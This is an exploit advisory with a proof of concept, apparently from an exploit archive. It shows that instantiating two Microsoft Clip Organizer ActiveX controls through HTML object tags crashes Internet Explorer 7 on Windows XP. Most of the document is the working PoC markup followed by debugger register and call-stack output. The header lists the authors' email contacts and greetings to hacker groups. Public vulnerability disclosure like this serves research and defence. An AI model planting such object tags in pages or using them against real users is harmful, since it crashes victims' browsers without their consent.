# IE 7.0 - DoS Microsoft Clip Organizer Multiple Insecure ActiveX Control
#
# Date: 19th july 2010
#
# Author: Dinesh Arora & Beenu Arora
#
#
# Affected / Tested Version of IE : 7.0 / WinXP SP3 / MS Office 2007
#
# contact: dinesh.dinoo@gmail.com, beenudel1986@gmail.com
# 
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly
#
# Shoutz to : http://www.garage4hackers.com , www.beenuarora.com

POC:

		<!--
		COM Object - {0009608B-3E4E-4BF4-8C8C-D107F1F7B4CE} MC Euro Lexical Analyzer
		*******************************************************************************
		COM Object Filename : C:\PROGRA~1\MICROS~2\Office12\MCPS.DLL
		Major Version       : 12
		Minor Version       : 0
		Build Number        : 4518
		Revision Number     : 1014
		Product Version     : 12.0.4518.1014
		Product Name        : Microsoft Clip Organizer
		-->
		<object id=TestObj classid="CLSID:{0009608B-3E4E-4BF4-8C8C-D107F1F7B4CE}" style="width:100;height:350"></object>



		<!--
		COM Object - {0051FAAD-74C8-4057-8A85-1CFBF9ABB05C} MC Shared Search Scope
		*******************************************************************************
		COM Object Filename : C:\PROGRA~1\MICROS~2\Office12\MCPS.DLL
		Major Version       : 12
		Minor Version       : 0
		Build Number        : 4518
		Revision Number     : 1014
		Product Version     : 12.0.4518.1014
		Product Name        : Microsoft Clip Organizer
		*******************************************************************************
		-->
		<object id=TestObj classid="CLSID:{0051FAAD-74C8-4057-8A85-1CFBF9ABB05C}" style="width:100;height:350"></object>


Register:

EAX 02299BC4
ECX 00000000
EDX 00000000
EBX 00000000
ESP 02299BC0
EBP 02299C14
ESI 02299C8C
EDI 00000000
EIP 7C812AFB kernel32.7C812AFB



kernel32!RaiseException+53 in C:\WINDOWS\system32\kernel32.dll from Microsoft Corporation has caused an unknown exception (0xc06d007e) on thread 33

This exception originated from MCPS!DllGetClassObject+6db1. 


Function     			Arg 1     Arg 2     Arg 3   Source 
kernel32!RaiseException+53     c06d007e     00000000     00000001    
MCPS!DllGetClassObject+6db1     00000000     06029c38     39f34f4c    
MCPS!DllGetClassObject+5c6d     39f2a3bc     39f221b4     39f34360    
MCPS!DllCanUnloadNow+2b6b     00205cf0     0602a688     06029d64    
ole32!CClassCache::CDllPathEntry::DllGetClassObject+2d     00205cf0     0602a688     06029d64    
ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+1f     06029d18     0602a688     06029d64    
ole32!CClassCache::GetClassObject+38     06029d6c     0602a83c     0602a300    
ole32!CServerContextActivator::GetClassObject+f5     77607150     0602a300     0602a83c    
ole32!ActivationPropertiesIn::DelegateGetClassObject+f3     0602a300     0602a83c     0602a300    
ole32!CApartmentActivator::GetClassObject+4d     77607154     0602a300     0602a83c    
ole32!CProcessActivator::GCOCallback+2b     77607154     00000001     00000000    
ole32!CProcessActivator::AttemptActivation+2c     7760714c     0602a15c     00000000    
ole32!CProcessActivator::ActivateByContext+42     7760714c     0602a15c     00000000    
ole32!CProcessActivator::GetClassObject+48     7760714c     0602a300     0602a83c    
ole32!ActivationPropertiesIn::DelegateGetClassObject+f3     0602a300     0602a83c     003a0043    
ole32!CClientContextActivator::GetClassObject+88     77607114     00000001     0602a83c    
ole32!ActivationPropertiesIn::DelegateGetClassObject+f3     0602a300     0602a83c     774eca20    
ole32!ICoGetClassObject+334     0602a9dc     00000007     00000000    
ole32!CComActivator::DoGetClassObject+93     0602a9dc     00000007     00000000    
ole32!CoGetClassObject+1b     0602a9dc     00000007     00000000    
urlmon!CoGetClassObjectWrap+33     0602a9dc     00000007     00000000    
urlmon!CoGetClassObjectFromURL+2ae     056f8fd0     00000000     00000000    
mshtml!CCodeLoad::BindToObject+464     3cf5193c     0602bc00     00000000    
mshtml!CCodeLoad::Init+296     0576d538     0602bc00     3cf8d43c    
mshtml!COleSite::CreateObject+5a5     0602bc00     05720bf8     05976520    
mshtml!CObjectElement::CreateObject+6af     3cee8243     0573a860     00000000    
mshtml!CHtmObjectParseCtx::Execute+8     0573a860     00000000     00000000    
mshtml!CHtmParse::Execute+43     05720bf8     00000000     0573a860    
mshtml!CHtmPost::Broadcast+11     3cedb43d     0577ca50     0573a860    
mshtml!CHtmPost::Exec+40a     24a63821     0577ca50     0573a860    
mshtml!CHtmPost::Run+13     24a63821     0577ca50     0573a860    
mshtml!PostManExecute+dc     0577ca50     24a63821     0573a860    
mshtml!PostManResume+9e     0573a860     00000001     0602fdf4    
mshtml!CHtmPost::OnDwnChanCallback+10     05952930     0573a860     0602fe28    
mshtml!CDwnChan::OnMethodCall+19     05952930     00000000     00000000    
mshtml!GlobalWndOnMethodCall+101     0602feb0     3cf513d9     00000000    
mshtml!GlobalWndProc+181     005707a2     00000009     00000000    
user32!InternalCallWinProc+28     3cf513d9     005707a2     00008002    
user32!UserCallWinProcCheckWow+150     00000000     3cf513d9     005707a2    
user32!DispatchMessageWorker+306     0602ff64     00000000     0602ffb4    
user32!DispatchMessageW+f     0602ff64     053400b8     000001c1    
ieframe!CTabWindow::_TabWindowThreadProc+189     056adac8     053400b8     000001c1    
kernel32!BaseThreadStart+37     3e25e4fc     056a5cf8     00000000    


The assembly instruction at kernel32!RaiseException+53 in C:\WINDOWS\system32\kernel32.dll from Microsoft Corporation has caused an unknown exception (0xc06d007e) on thread 33
This exception originated from MCPS!DllGetClassObject+6db1.